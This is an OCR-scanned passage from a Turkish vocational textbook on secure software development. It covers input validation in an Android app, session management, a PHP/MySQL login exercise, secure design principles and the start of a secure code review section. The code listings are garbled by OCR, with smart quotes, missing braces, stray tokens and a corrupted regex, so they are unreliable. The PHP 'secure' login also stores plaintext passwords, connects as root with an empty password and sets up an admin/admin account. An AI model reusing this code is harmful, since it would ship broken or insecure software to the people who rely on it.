import android.os.Bundle;

import android.util.Patterns;

import android.view.View;

import android.widget.Button;

import android.widget.EditText;

import android.widget.TextView;
public class MainActivity extends AppCompatActivity {

private EditText etAd, etEmail;
private Button btnGonder;

private TextView tvSonuc;

@Override

protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity main);
etAd = findviewById(R.id.etAd);
etEmail = findViewById(R.id.etEmail);
btnGonder = findViewById(R.id.btnGonder);
tvSonuc = findViewById(R.id.tvSonuc);

btnGonder.setOnClickListener(new View.OnClickListener() {



" 2. OGRENME BiRiMI

@Override
public void onClick(View v) {
String ad = etAd.getText().toString().trim();

String email = etEmail.getText().toString().trim();

// Veri temizleme ve dogrulama
String temizAd = cleanInput(ad);

String temizEmail = email;

// Sinirlama ve filtreleme
if (temizAd.length() > 0 && isValidEmail(temizEmail)) {

// Girdi denetimi basarili

({3

String sonuc = “Merhaba,
mizEmail;

+ temizAd + “! E-posta adresiniz: “ + te-

tvSonuc.setText(sonuc);
}else {

tvSonuc.setText(“Litfen gecerli bir ad ve e-posta adresi girin.”);

}
ok
}
private String cleanInput(String input){
// Zararli karakterleri temizlemek i¢in 6rnek bir yontem

// Bu ornek sadece alfabetik karakterleri gec¢irir, gereksinimlere gore
uyarlanabilir.

String cleanedInput = input.replaceAll(“[~a-zA-Z]”, “7);
return cleanedInput;

}

private boolean isValidEmail(CharSequence target) {

return Patterns.EMAIL ADDRESS.matcher(target).matches();
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' 9. Adim: Run menisiinden Run ‘app’ komutuyla mobil uygulamay! galistiriniz.

! 10 Adim: Emilatorde uygulamayi test ediniz (Gorsel 2.18).

Girdi Denetimi Ornegi

Gorsel 2.18: Mobil uygulama ekrani

2.2.2. Gilivenli Oturum Yonetimi

Oturum (Session), bir kullanicinin sisteme eristigi andan itibaren sistemden ¢ikis yapincaya kadar gegen
zaman dilimini ifade eder. Oturum y6netimi ise kullanicilarin bir sistem veya uygulamaya giris yaptiktan
sonra belirli bir stire boyunca etkili bir sekilde kimlik dogrulamasini ve yetkilendirmesini stirdtirmelerini
saglayan kritik bir stiregtir.

Guvenlikli bir firma ziyaret edildiginde giriste kimlik bilgileri sorulur. Firma icinde gezinti yapilirken si-
rekli kimlik bilgilerinin sorulup teyit ettirilmesi can sikici bir hal alabilir. Bunun yerine giriste kullanici-
ya belirli bir stire gecerli ziyaretci karti verildiginde gezinti daha rahat yapilabilir. Ayrica giriste verilen
kimlik kartlari belirli yerlere girilmesine izin verirken bazi yerlere erisilmesini de engelleyebilir. Oturum
yonetimi de iste bunun gibi bir sistem veya uygulamaya giris yapildiktan sonra belirli siire boyunca kul-
laniciya yetki ve izinler verir. Oturum yonetiminin 6nemi, kullanicilarin kimlik dogrulamasini tekrar yap-
mak zorunda kalmadan belirli bir siire boyunca sisteme erisebilmelerini saglamasi ve kullanim kolayhgi
ile verimlilik sunmasidir. Oturum yonetimi genellikle su ¢ ana bilesenden olusur:

Kimlik Dogrulama: Kullanicinin kimlik bilgilerinin dogrulanmasi asamasini ifade eder. Bu asamada
kullanici adi, parola, biyometrik veriler veya diger kimlik dogrulama yontemleri kullanilarak kullanicinin
kimligi belirlenir.

Yetkilendirme: Kimlik dogrulama asamasini gegen kullanicinin sistemde hangi kaynaklara erisebilecegi
ve ne tlr islemleri gerceklestirebilecegi belirlenir. Kullanicinin rol ve izinleri bu asamada yonetilir.

Oturum Yonetimi: Kimlik dogrulama ve yetkilendirme sireclerinin ardindan kullanicinin oturumu
olusturulur ve stirdirtilir. Bu asamada oturumun siresi, oturumun ne zaman sona erecegi gibi bilgiler
yonetilir.

Oturumyonetiminin saglanmasi, glivenlive kullanici dostu bir denge kurmayi gerektiren sliregtir. Oturum
suresinde inaktiflik zaman asimi gibi faktorlerin dogru ayarlanmasi énemlidir. Oturumun glivenli bir
sekilde iletilmesi ve saklanmasi da kritik bir husustur ¢linkii oturum bilgilerinin ele gegcirilmesi ciddi
glvenlik tehditlerine yol agabilir.

Oturum siresi kisa olarak ayarlandiginda kullanici, uygulama icindeki islemlerini tamamlamadan 6nce
oturumu sonlandirmak zorunda kalabilir. Bu da tekrar giris yapma gerekliligi dogurabilir. Bu durum,
uygulamanin kullanilabilirligini olumsuz etkileyebilir. Oturum siiresi uzun olarak ayarlandiginda kullanici,
oturumu kapatmadan cihazini terk ederse baskalarinin uygulamaya erisebilmesine olanak dogabilir. Bu
da givenlik risklerini beraberinde getirir.
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Kullanicilarin kimliklerini dogrulamak icin gesitli yontemler kullanilir. Bu yontemlerin en yaygin olarak
kullantlanlari sunlardir:

Parola: Kullanici adi ve parolanin kombinasyonuyla yapilan temel kimlik dogrulama yontemidir. Glivenli
parola politikalari ve sifre yonetimi, bu yontemin giivenligini saglamak igin kritiktir.

Cok Faktorli Kimlik Dogrulama: Kullanicinin en az iki farkli dogrulama faktorini (6rnegin parola, SMS
kodu, biyometrik dogrulama vb.) kullanarak kimligini dogruladigi bir yéntemdir. Bu yontem givenligi
artirir.

Biyometrik Kimlik Dogrulama: Parmak izi, yliz tanima, iris taramasi gibi fiziksel 6zelliklerin kullanildig
dogrulama yontemidir. Biyometrik verilerin glivenligi ve gizliligi 6nemlidir.

Yetkilendirme, kimlik dogrulandiktan sonra kullanicinin sistemde hangi kaynaklara erisebilecegini
belirler. Kullanimi yaygin yetkilendirme modelleri sunlardir:

Rol Bazl Yetkilendirme: Kullanicilara roller atanir (yonetici, kullanici, misafir vb.) ve bu rollerin sahip
oldugu izinler belirlenir. Kullanicinin roliine gore erisim haklari sunulur.

Kapsam Bazh Yetkilendirme: Kullanicilara belirli kaynaklar veya islemler igin 0zel yetkiler atanir.
Kullanicilarin ihtiyacina gore ozellestirilmis yetkilendirme saglar.

Oturum yonetimi siireci su tehditlere maruz kalabilir:

Oturum Hirsizhigi: Saldirganin mevcut bir oturumu ele gecirmesidir. Bu, yetkilendirilmis bir kullanicinin
oturum bilgilerinin calinmasi anlamina gelir.

Oturum Sahteciligi: Saldirganin baska bir kullanicinin oturumuymus gibi davranarak sistemde
yetkilendirilmis gibi gorinmesidir.

Oturum Kesintisi: Kullanicinin oturumunun aktif oldugu sirada saldirgan tarafindan oturumun
sonlandiriimasidir.

Oturum Zorlamasi: Saldirganin, sistemi birden fazla oturum acarak asir1 yiilklemesi ve sistem hatalarina
neden olmasidir.

Oturumun Yeniden Kullanimi: Oturum kimlik bilgilerinin bir saldiri sonucu elde edilip, saldirganin bu
kimlik bilgilerini yeniden kullanarak oturumu ele gegirmesidir.

Oturum yonetimi stireci su saldiri tlirlerine maruz kalabilir:

Cross-Site Scripting (XSS): Saldirganin, kétii amagli kodlari bir web uygulamasina enjekte etmesi ve bu
kodlarin kullanicilar tarafindan calistiriimasini saglamasidir.

CSRF [Capraz Site istek Sahteciligi (Cross-Site Request Forgery)]: Kullanicinin bilgisi olmadan, yetki-
lendirilmis bir oturumun saldirgan tarafindan kullanilarak istenmeyen islemlerin gerceklestirilmesidir.

Session Fixation: Saldirgan tarafindan kullanicinin oturum kimliginin ele gegirilip bu kimlikle yetkilendi-
rilmis islemlerin gerceklestirilmesidir.

Brute Force Saldirilan: Saldirgan tarafindan tim olasi kombinasyonlarin denenerek bir kullanicinin
parola, oturum kimligi gibi bilgilerinin kaba kuvvetle ¢6ziilmeye calisiimasidir.

Session Hijacking: Saldirganin tarafindan bir oturumun ele gecirilerek mevcut oturumun kontrol veya
manipile edilmesidir.
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Oturum glvenligi icin su teknikler kullantlir:

Giivenli iletisim Kanallari (HTTPS, SSL/TLS): Oturum bilgilerinin giivende iletiimesini saglamak amaciyla
iletisim kanallarini sifrelemek icin HTTPS protokolii kullanihr. Bu protokol, oturum kimlik bilgilerinin
Uc¢linct taraflarin erisimine karsi korunmasini saglar.

Oturum Siiresi ve inaktiflik Zaman Asimi: Oturum siiresinin ve inaktiflik zaman asiminin dogru bir
sekilde ayarlanmasi 6nemlidir. Kullanicinin oturumu gereksiz yere kapanirsa kullanilabilirlik diiserken
uzun oturum siireleri givenlik riskini artirabilir.

Oturum Belirtegleri ve Tokenlar: Oturum yonetiminde kullanici kimligi ve yetkilendirmeyi saglamak
icin belirtecler (tokens) kullanilir. Bu belirtegler, oturum bilgilerini icerir ve saldirganlarin bu bilgilere
erismesini zorlastirir.

Cross-Site Request Forgery (CSRF) ve Cross-Site Scripting (XSS) Korumasi: CSRF saldirilarina karsi
onlemler almak icin oturumun kimlik dogrulama bilgilerini iceren tokenlar kullanilir. XSS saldirilarina
karsi glivenlik duvarlari ve girdi dogrulamasi kullanmak 6nemlidir.

API Oturum Yonetimi: API’ler Gzerinden oturum yonetimi yaparken gtivenli kimlik dogrulama yéontem-
leri (API anahtari, OAuth, JWT gibi) kullanilir. APl yetkilendirmesi de 6nemlidir ve roll-based veya sco-
pe-based modeller kullanilabilir.

Oturum izleme ve Denetimi: Oturum aktivitelerinin izlenmesi, giivenli olmayan faaliyetlerin tespit edil-
mesini saglar. Oturum denetim giinliikleri, stipheli aktiviteleri belirlemek igin kullanilir.

Oturumun Yeniden Kullanimini Engelleme: Oturum belirteglerinin sik sik yeniden olusturulmasi veya
dongusel olarak kullanilmasi, oturumun yeniden kullanimi riskini azaltir.

UYGULAMA

> PHP dili ile oturum denetimi yapan web uygulamasini olusturma islemini verilen
adimlar dogrultusunda gergeklestiriniz.

' 1. Adim: PHP web sunucusu (XAMPP, WampServer vb.) programini ¢alistiriniz.

! 2 Adim: MySQL uygulamasini ¢alistiriniz (Gorsel 2.19).

7] XAMPP Control Panel v3.3.0 [ Compiled: Apr 6th 2021 ] = O X
£3 XAMPP Control Panel v3.3.0 & coni
Senice Module  PIDIs) Port(s) Actions & Netstat
X Apache :?Eﬁ 80, 4433 Stop Admin Config Logs B shel
b 4 MysQL Start Adimin Config Logs | Explorer
b4 FileZilla Start Admin Config Logs E.' Services
Mercury Start Admin Config Logs © Help
b4 Tomcat Start Admin Config Logs IJ. Quit

Gorsel 2.19: XAMPP Control Panel
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l 3. Adim: internet tarayicisinda phpMyAdmin sayfasini aginiz.
' '4. Adim: phpMyAdmin kullanici adi ve sifresini giriniz (Gorsel 2.20).

phpMuAdmin
phpMyAdmin’e Hos Geldiniz

- Dl (Language)

Tiarkge - Turkish e
-| Oturum ag & I
Sunucu: | db |
Fullamiz: Adi: | root |
Parola: | = |
| Oturum ag |

Gorsel 2.20: phpMyAdmin giris sayfasi

phpMyAdmin
et @

Son  Sik kullanilanlar

(o
B

— b Yeni
|+~ 1 information_schema
I8 mysql

|#+~ 1 performance_schema

|
[ sys
|
[#— 1 test

Gorsel 2.21: phpMyAdmin paneli

Veritabanlari

‘| o Veritabam olugtur & I

example_db utfémb4_general_ci e | Olugtur |

Gorsel 2.22: Veri tabani olusturma
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| ) I Yeni tablo olugtur |

Tabko ad Suotun sayisi

!users | |3 [ Olugtur |

Gorsel 2.23: Yeni tablo olustur sayfasi

' 8. Adim: ilk siitun icin Adl, id; Tiirii, int ve A_l degerlerini giriniz.
: 9. Adim: ikinci siitun icin Adi, username; Tiirii, varchar ve Uzunluk/Degerler, 50 degerlerini giriniz.

! ; 10. Adim: Ugiincii siitun icin Adi, password; Tiirii, varchar ve Uzunluk/Degerler, 50 degerlerini giriniz
' (Gorsel 2.24).

Adi Tard 4 Uzunluk/Degerler &  Varsayilan & Kargilagtirma Oznitelikler Bos Index Al
PRIMARY ~
PRIMARY

' 11. Adim: Kaydet butonuna basarak tabloyu olusturunuz.

. 12. Adim: Ekle butonuna tiklayiniz (Gorsel 2.25).

& saL <4 Ara ¥t Ekle |= Digaaktar [ igeaktar 27 Yetkiler J’" Islemler | 22 Tetikleyiciler

i Tablo yapisi 42 iligki gérandma
# Adu Tiri Karsilagtirma Oznitelikler Bos Varsayilan Agiklamalar Ekstra Eylem
[T 1id e int{11) Hayir Yok AUTO_INCREMENT 7 Degistr @ Kaldr Daha fazla
[l 2 username varchar(50) utf2mb4_general ci Hayir Yok & Degistir @ Kaldr Daha fazla
1 3 password varchar(50) utf3mb4_general_ci Hayir Yok & Degistir (@ Kaldir Daha fazla
O Tomand isaretle Segilileri: = Gozat & Degigtir @ Kaidir o~ Birinei U Benzersiz A Index [F Uzay=a T Tam metin

Gorsel 2.25: Users tablosunun yapisi

] Gozat | 3 Yam | L saL 4 Ara | ¥ Ekle = Digaaktar | [ igeaktar | =7 Yetkiler | ¢ islemler | 25 Tetikleyiciler

Siitun Tiirii islew Bos Deger

id int{11) '
username wvarchar(50) ' !user |
passwaord warchar{50) L pass |

Gorsel 2.26: Users tablosuna kayit girme
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! 14 Adim: Dosya gezgini ile PHP web sunucusu web sayfalari ana klasoriinl aginiz. Xampp icin c: \I
! xampp\htdocs, WampServer icin c:\wamp\www klasérleridir.

: 15. Adim: Uygulama2 adinda yeni bir klasor olusturunuz.
| 16. Adim: Bir metin editérii ile bu klaséri aginiz.

: 17. Adim: index.php adinda bir PHP dosyasi olusturunuz.

! ' 18. Adim: index.php dosyasi iine su kodu yaziniz:

<?php
session_start();

// Veri tabani baglantisi gibi onemli bilgilerin ayri bir konfiglirasyon dosya-
sindan alinmasi onerilir.

// Bu ornekte dogrudan degerler kullaniliyor. Ger¢ek uygulamalarda bunlarin
saklanmasi gereklidir.

$database_host = “localhost”;

$database_user = “root”;

$database_pass = “”; //veri tabani sifresi

$database_name

“example db”’;

$connection = new mysqli($database_host, $database_user, $database_pass, $da-
tabase_name);

if ($connection->connect_error) {

die(“Veri tabani baglanti hatasi: “ . $connection->connect_error);

if(isset($_POST[ ‘username’]) && isset($_POST[ ‘password’])) {
$username = $§_POST[ ‘username’];

$password = $§ POST[ ‘password’];

// SQL enjeksiyonuna karsi parametreleri kullanarak sorgu hazirla.
$query = “SELECT * FROM users WHERE username = ? AND password = ?”;

$statement = $connection->prepare($query);

// Parametreleri bagla.

$statement->bind_param(“ss”, $username, $password);

// Sorguyu calistir.

$statement->execute();
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// Sonuclari al.
$result = $statement->get_result();

if($result->num_rows === 1) {
$_SESSION[‘username’] = $username;
echo “Giris basarili. Hos geldiniz, $username!”’;
}else {

echo “Giris basarisiz. Litfen kullanici adi ve sifrenizi kontrol ediniz.”;

// Bildirimi kapat.

$statement->close();

if(isset($_SESSION[ ‘username’])) {
$username = $§ SESSION[ ‘username’];
echo “Giris yapmis kullanici: $username”;
} else {

echo “Giris yapmamis kullanici.”;

if(isset($_POST[ ‘logout’])) {
session_unset();
session_destroy();

echo “Oturumunuz kapatildi.”;

$connection->close();

?>

<IDOCTYPE html>
<html>
<head>
<title>Givenli Oturum YOnetimi</title>
</head>
<body>

<h2>0turum Yénetimi Ornegi</h2>
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<?php if(isset($_SESSION[ ‘username’])) { ?>
<form method="post”>
<input type="hidden” name="logout” value="1”>
<button type="submit”>Cikis Yap</button>
</form>
<?php } else { ?>
<form method="post”>
<label>Kullanici Adi:</label>
<input type="text” name="username” required><br>
<label>Sifre:</label>
<input type="password” name="password” required><br>
<button type="”submit”>Giris Yap</button>
</form>
<?php } >
</body>
</html>

! 19 Adim: Internet tarayicisinda localhost/uygulama2 adresini aginiz.

! 20 Adim: Kullanici adi ve sifresini girerek (Gorsel 2.27) uygulamayi deneyiniz.

Gins vapmamis kullanica.

Oturum Yénetimi Ornegi

}iuﬂanuc1!£dr| |
Sifre: | |

Giris Yap

Gorsel 2.27: Uygulama giktisi

(siasizoe 2

Oturum yonetimi uygulamasina kullanici denetimini ekleyerek uygulamayi rol bazli denetim
(admin kullanicisi veya normal kullanici) yapacak sekilde diizenleyiniz.

DEGERLENDIRME

Calismaniz asagida yer alan kontrol listesi kullanilarak degerlendirilecektir. Calismalarinizi yaparken
degerlendirme olgltlerini dikkate aliniz. Calismanizi bir ders saati icinde tamamlayiniz.
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KONTROL LiSTESI

DEGERLENDIRME OLCUTLERI EVET HAYIR

PHP web sunucu programini agti.

MySQL servisini baslatti.
PhpMyAdmin sayfasini acarak giris yapt.

Users tablosuna yeni bir sttun ekledi.

Sutun adi olarak rol, tird varchar ve uzunluk degeri olarak 50 yazdi.

Var olan user kaydini giincelledi (Ad, user; Password, pass ve Rol, user).

Yeni bir kayit olusturdu (Ad, admin; Password, admin ve Rol, admin).

Index.php dosyasini acti.

Ol|®|N|o|U|R~®RIN]|E=

Veri tabani sorgusu sonrasi kullanici rol bilgisini aldi.

10. Oturum bilgisi olarak rolii kaydetti.

11. Rol bazl olarak sayfadaki yazilari degistirdi.

12. Calismayi verilen siirede tamamladi.

13. Eksik oldugu olc¢ttleri tamamladi.

2.2.3. Giivenli Dizayn Bilesenleri

Giivenli dizayn, bir yazilim veya sistem tasarlanirken basindan sonuna kadar gtivenlikle ilgili nlemlerin
alindigi ve glivenlik risklerinin en aza indirildigi yaklasimi ifade eder. Bu yaklasim, yazilimin veya
sistemin tasarim asamasinda glivenlikle ilgili bilesenlerin planlanmasi, entegrasyonu ve uygulanmasini
icerir. Temel amag; yazilimin giivenligi icin gereken tim 6nlemleri alarak saldirilara, veri sizintilarina ve
diger giivenlik sorunlarina karsi savunmasiz noktalari en aza indirmektir. Ornegin mobil uygulamalar,
glnlik yasamda en sik kullanilan uygulamalardir. Bunlardan biri de bankalarin mobil uygulamalaridir.
Uygulama; kullanicilarin hesap bakiyelerini goriintiilemesine, para transferleri yapmasina ve faturalari
o6demesine olanak tanir ancak uygulamanin glivenligi saglanmadigi takdirde saldirganlar bu uygulama
Gzerinden kullanicilara ciddi zararlar verebilir. Bu nedenle kullanilan mobil uygulamanin gelistirilmesi
asamasinda kodlama sirasinda glvenlik ilkelerine uygunlugun saglanmasi gerekir. Kullanici girdileri
mutlaka uygun bir sekilde dogrulanmali ve bunlar temizlenmelidir. Ornegin para transferi yaparken
girilen miktarin sayisal bir deger oldugundan emin olunmali ve 6zel karakterlerin veya kod enjeksiyonunu
tetikleyebilecek unsurlarin engellenmesi saglanmalidir. Ayrica mobil uygulamanin iletisimi glivence
altina alinmalidir. Hassas verilerin (6rnegin kullanici adlari, sifreler, finansal bilgiler vb.) sifrelenerek
iletilmesi ve depolanmasi gerekir. Bu sayede veri hirsizligina karsi koruma saglanir.

Yetkilendirme ve erisim kontrolii, mobil uygulamada mutlaka g6z énlinde bulundurulmasi gereken
bir diger unsurdur. Kullanicilar yalnizca kendi hesaplarina erisebilmeli ve sadece ihtiya¢ duyduklari
fonksiyonlara erisim saglamalidir. Bu, kullanici hesaplarinin ele gecirilmesi veya yetkisiz erisimlerin
online gecilmesi agisindan kritiktir.

Mobil uygulama giivenligi, glincellemeleri de igerir. Saldirganlar giivenlik aciklarini hedef alabilir. Bu
nedenle yazilimin diizenli olarak glincellenmesi, bilinen giivenlik agiklarinin kapatilmasini saglar. Sonug
olarak finansal hizmetler sunan bir mobil uygulamanin gtivenligi, kullanicilarin mali glivenligini dogrudan
etkiler. Kullanicilarin hesaplarini ve verilerini korumak i¢in gtivenlik en Gst diizeyde saglanmaldir. Bu,
sadece uygulama gelistirme sirecinde degil uygulama yayinlandiktan sonra da devam etmelidir.

Givenli dizayn, 6rnekte bahsedildigi gibi glivenli yazilim gelistirme silrecinin her asamasinda dikkate
alinmalhdir. Sadece son asamalarda degil tasarim, kodlama, test ve yayinlama asamalarinda da glivenlik
onlemleri alinmalidir. Bu sekilde, glivenlik sorunlari ele alinabilir ve kullanicilarin glivenli bir deneyim
yasamasl saglanabilir. Glvenli dizayn bilesenleri sunlardir: Kullanici girdilerinin kontroliinii yapma,



" 2. OGRENME BiRiMi

¢ikti kodlama, parola glivenligi, veri tabani glivenligi, glivenli kimlik dogrulama, kullanici oturumlarini
yonetmek ve yetkilendirme.

1. Kullanici Girdilerinin Kontroliinii Yapma

Bir saldirganin, yazilim uygulamasinin savunmasizliklarini istismar ederek kod enjeksiyonu veya komut
enjeksiyonu gibi yontemlerle tahmin edilmeyen verileri sisteme gonderme riski, girdi alanlarinin ayrintil
bir sekilde glivenlik denetlemesini gerektirir. Ek olarak HTML ve JavaScript dillerine ait form denetleme
kurallari giivenlik agisindan yeterli bir koruma saglamaz. Bu tehlikeler sebebiyle kullanici tarafindan
iletilen verilerin sunucuda kullanilmaya baslanmadan once beklenen veri formatina uygunlugunun
denetlenmesi gerekir.

Girdi denetiminde kullanilan beyaz liste ve kara liste (whitelisting-blacklisting) yaklasimlari, zararli
istekleri tespit etmek ve engellemek icin etkili ¢oziimler sunar. Kullanici tarafindan saglanan form
verilerinin denetlenmesi amaciyla gelistirilen kara liste yontemi, bilinen zararl girdileri reddetme
amaciyla olusturulur. Bu yontem, potansiyel zararl isteklerin sayisinin artmasi nedeniyle kara liste
iceriginin slirekli olarak glincellenmesini zorunlu kildigi icin kullanimi zorlastirabilir. Ayrica kara liste
olusturulurken tim senaryolarin dikkate alinmasi ve kisitlamalarin olabildigince kapsamli bir sekilde
uygulanmasi gerekir.

Beyaz liste yaklasimi, kullanici tarafindan saglanan girdilerin bilinen ve giivenilir veri tiplerine sinirlan-
masl prensibini ifade eder. Beyaz liste yontemiyle girilen veriler, dnceden belirlenmis URL veya tarih
(gg/aa/yyyy) gibi belirli formatlara uygun olmalidir. Tanimlanan formata uymayan girdiler bu sayede
sisteme kabul edilmez. Beyaz liste olusturmak icin web uygulama ._geligt'irme platformlarinin yerlesik
(built-in) fonksiyonlarini kullanmak da alternatif bir yaklasim sunar. Ozetle su 6nlemler alinabilir:

e Beyaz liste yontemi kullanarak kontroller olusturmak.

e Beyaz liste ydnteminin uygulanamadigi durumlarda kara liste yaklasimini degerlendirmek.

e Kisitlamalari en Ust diizeye ¢ikarmak.

e Olasi saldirilara karsi uyari mekanizmalari kurmak.

¢ Kullaniciya girdiyi tekrar sunmaktan kaginmak.

e Girdilerin arka planda c¢alisan kritik hizmetlere erisimini minimuma indirmek i¢in veri kullanimini

en aza indirmek.

2. Cikti Kodlama (Output Encoding)

Cikti kodlamasi, sistem ve hata ayiklama (debug) mekanizmalariyla iliskilendirilen kritik bilgilerin ifsa
edebilecegi hata mesajlarinin kullaniciya yansitilmamasini saglamak amaciyla gonderilecek verinin
uygun bir son formatina donistiiriilmesiislemini ifade eder. Bylece bu verilerin saldiriamaglh istismarini
engellemek hedeflenir. Cikti kodlamasinda alinmasi gereken dnlemler sunlardir:

e Uygulama ve sistem bilgilerini ifsa edebilecek potansiyel sonug verileri igin uygun bir kodlayici
aracihgiyla ¢ikti kodlamasi gergeklestirmek.

e Uygulama gelistirme editériinin sundugu ¢ikti kodlama yeteneklerinden yararlanmak.

e Veriyi ham (raw) formatinda saklayip derleme (rendering) asamasinda kodlamayi uygulamak.

e Guvensiz platformlari ve islevleri kullanmaktan kacginarak kodlamayi gerceklestirmek.

3. Veri Tabani Giivenligi

Veritabanlarinin kurtarilmasi zor bir yapiya sahip olmasi, kritik 6nem tasiyan hassas bilgileri icermesi gibi
sebeplerle veri tabanlarinin siber saldirilardan korunmasi son derece énemlidir. Veri tabani glvenligi
icin alinan onlemler sunlardir:

e Kullanicinin sagladigi verileri kullanarak SQL sorgusu olusturmaktan kaginmak.
e Parametrelerle yapilandirilmis sorgulari ve kaydedilmis islemleri iliskilendirmek (binding).

e Guvenilirligi daha ylksek olan yerlesik (built-in) fonksiyonlari iliskilendirmek icin kullanmak.
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4. Parola Giivenligi

Geleneksel metotlardan biri olan periyodik sifre degistirme politikasinin amaci, saldirganin ele gecirdigi
hesabin siresi sonunda kilittlenmesini saglamaktir ancak kullanicilar genellikle yeni sifrede sadece
birkag karakteri degistirir. Bu da eski sifreyi bilen bir saldirganin yeni sifreyi ¢ozmesini kolaylastirir. Yeni
olusturulan sifreler; sikga kullanilan, kolay tahmin edilebilen veya daha dnce galinmis sifrelerden olusan
bir listeyle karsilastirilarak degerlendirilmelidir. Bu sayede kullanicilarin 12345678 veya parola gibi kolay
tahmin edilebilen sifreleri segmelerinin 6nline gecilmesi amaclanir. Su 6nlemler alinir:

e TlUm parolalari 6zet almak (hashing) ve salt isleminden gecirmek.
e Guvenilir kabul edilen bir algoritmayi kullanmak.
¢ Sifre depolama mekanizmasini yapilandirilabilir hale getirmek.
e Haricl sistemler ve hizmetler icin sifre depolamaktan kaginmak.
e Sifre uzunlugunu kicik boyutlu tutmamak.

5. Giivenli Kimlik Dogrulama

Kimlik dogrulama sistemleri finans, devlet gibi hassas ve kritik verilerin islendigi sistemlere erisimde
kullanicinin kimligini teyit eden hayati altyapilardir. Bu nedenle givenlik dnlemlerinin etkin bir sekilde
uygulanmasi son derece kritik bir Sneme sahiptir. Su dnlemler alinabilir:

¢ Bireysel olarak olusturulan sistemlere kiyasla daha guivenli kabul edilen standart kimlik dogrulama
mekanizmalarini tercih etmek.

e Kullanici ihtiyaglarina uygun kimlik dogrulama yontemlerini desteklemek.

e Saldirganlarin hesaplari ele gecirmek icin istismar edebilecekleri zayif noktalari tespit edip
dizeltmek.

¢ Hesaplarin tespit edilmesini ve ele gecirilmesini engelleyebilecek yontemleri uygulamak.
e Varsayilan veya sabit kodlanmis (hard-coded) kimlik bilgilerini kullanmaktan kaginmak.
6. Kullanici Oturumlarini Yonetme

Oturum yonetimi, kimligi dogrulanan kullanicilarin giris oturumlarini yénetme gibi islevleri
gerceklestirdigi icin genellikle siber saldirilarin hedefi haline gelir. Kimlik dogrulama asamasini gecip
oturum agmis bir hesaba ait oturum bilgilerini ele gegiren saldirgan, kimlik dogrulama mekanizmasini
asabilir. Bu sebeple oturum yonetimi sistemlerinin glivenligi son derece kritik Gneme sahiptir. Oturum
y6netimi sistemlerinin giivenligi icin su dnlemler alinir:

e Oturum verilerini gizli tutarak, bunlari loglarda kullanmaktan kaginarak oturum glvenligini
saglamak.

e Oturum gerezlerinin kapsamini sinirlayarak onlari koruma altina almaya ¢alismak.
e Onceden bir oturum agilmamissa veya kullanicinin yetkileri degismisse yeni bir oturum baslatmak.
¢ Gelistiricinin kendi olusturdugu kimlik bilgileri disinda hig¢bir kimlikle oturum agmamak.

e Kullanicilarin oturumu kapatma veya mevcut oturumlari sonlandirma yetenegi icin bir diizenleme
yapmay! unutmamak.

7. Yetkilendirme

Kimlik dogrulamadan farkli olarak yetkilendirme, istemcinin hangi kaynaklara erisme yetkisi oldugunu
denetleyen ve belirlenen kisitlamalara gore erisim kontroli saglayan bir mekanizmadir. Yetkilendirmeyle
ilgili bazi hususlar sunlardir:

e Beyaz liste, kara liste yontemine gore daha giivenli kabul edilir ve hata orani daha disuktar.

e Uygulamalar, dosyalar, profiller gibi kaynaklar icin yetkilendirme mekanizmasi uygulanmalidir.
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e Yetkilendirme, belirli bir alan adina (domain) 6zgldir ancak izin modeli belirlenirken géz 6niinde
bulundurulmasi gereken bazi yaygin modeller bulunur. Kesin bir gereklilik yoksa standart modiil
ve platformlari tercih etmek daha glivenlidir.

e Rol Tabanli Erisim Kontrolii [Role Based Access Control (RBAC)], kullanicilara roller atanmasi
ve bu rollerin izinleriyle belirlenmesi yoluyla erisim kontrollinl saglayan bir modeldir. Kullanici
eylemleri ve erisim girisimlerinin denetimi bu izinler temel alinarak gerceklestirilir.

e Karmasik sistemlerde Rol Tabanl Erisim Kontrolli yetersiz kalabilir. Bu tiir durumlarda Nitelik
Tabanli Erisim Kontrolii [Attribute Based Access Control (ABAC)] yontemi kullanilabilir. ABAC, rol
tabanli erisim kontrolinin genellestirilmis bir versiyonu olarak tanimlanir. Bu yontem; kullanicinin
niteligini, erisebilecegi alanlari ayrica kullanabilecegi kaynaklari kapsar ve erisim denetimini bu
nitelikler tGzerinden gergeklestirir.

Asagida verilen kelimeler bulmacanin iginde yatay, dikey ve gapraz sekilde yer almaktadir.
Verilen kelimeleri bularak isaretleyiniz.

A|lP|1]|2|3|4|5|P|O|Z|6G|U
R|ID|A| 1|1 |[1T|T|A|F|I|L|Y
i{s|/M|S|T|I|N|R|T1|S|A|OD
1(1|1|]1|s|D|(G|O|1|O|D]|N
2 M[T[2|N|IW|E|L|O|Y|L]|E
3|P|3|2|1|[1|O|A|E|TIT|D]|T
1|o|4|1|Ss|IT|M|R|O|Ss|D]|I
2| R|A|S|D|F|G|1|D|1]|B|C
3/!T|S|I1|F|R|E|A|A|[M|[C]|Y9
A|lA|R|E|T|1]|4]|85|3|s|T]|¢9®
K N U A K|A|R|A|3|S|9
L{T|V|T|R|Q|W|E|R|T|Y]|?
ADMIN YONETICH 12345 123123
PASSWORD IMPORTANT 1453 ASDFG
PAROLA SIFRE m QWERTY
sovisim ANKARA isim 9999
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2.3. GUVENLI KOD INCELEME

Guvenli kod inceleme, yazilim givenligini artirma yollarindan biridir. Yazilan bir kod pargasinin olasi
tehditlere karsi glivenliginin saglanmasi ve yaziim korunmasi amaclanir. Bir makinenin calisir hale
gelmesi icin yapilan hesaplamalar gibi bir yazilim icin de yazilan kodun gilivenli olmasi, ¢alismasi kadar
onemlidir. Glvenli kod, glivenli bir yazilim ve bu yazilimi kullanacak kurum veya kisilerin bilgi glivenliginin
saglanmasi icin 6nemlidir. Bir yazilimcinin yazdig1 kodun incelemesinin yapilmasi gerekir (Gorsel 2.28).
Bunun i¢in de farkh kod inceleme yontemleri mevcuttur.

Gorsel 2.28: Glivenli kod inceleme

2.3.1. Kod Analizi Temelleri

Kod analizi, bilgisayar programlarinin veya yazilim sistemlerinin yapi, davranis ve 6zelliklerini anlama ve
degerlendirme siirecidir. Bu slireg, yazilim gelistirme yasam dénglisiniin dnemli bir asamasini olusturur.
Kod analizi; yazilimin kalitesini artirmak, hatalari tespit etmek, performans sorunlarini belirlemek,
glivenlik agiklarini bulmak ve kodun daha sirdirtlebilir hale gelmesini saglamak amaciyla yapihr. Kod
analizi genellikle su iki temel yaklasimi igerir.

1. Statik Kod Analizi: Bu yaklasim, kodun derlenmeden veya calistirimadan 6nce incelenmesini
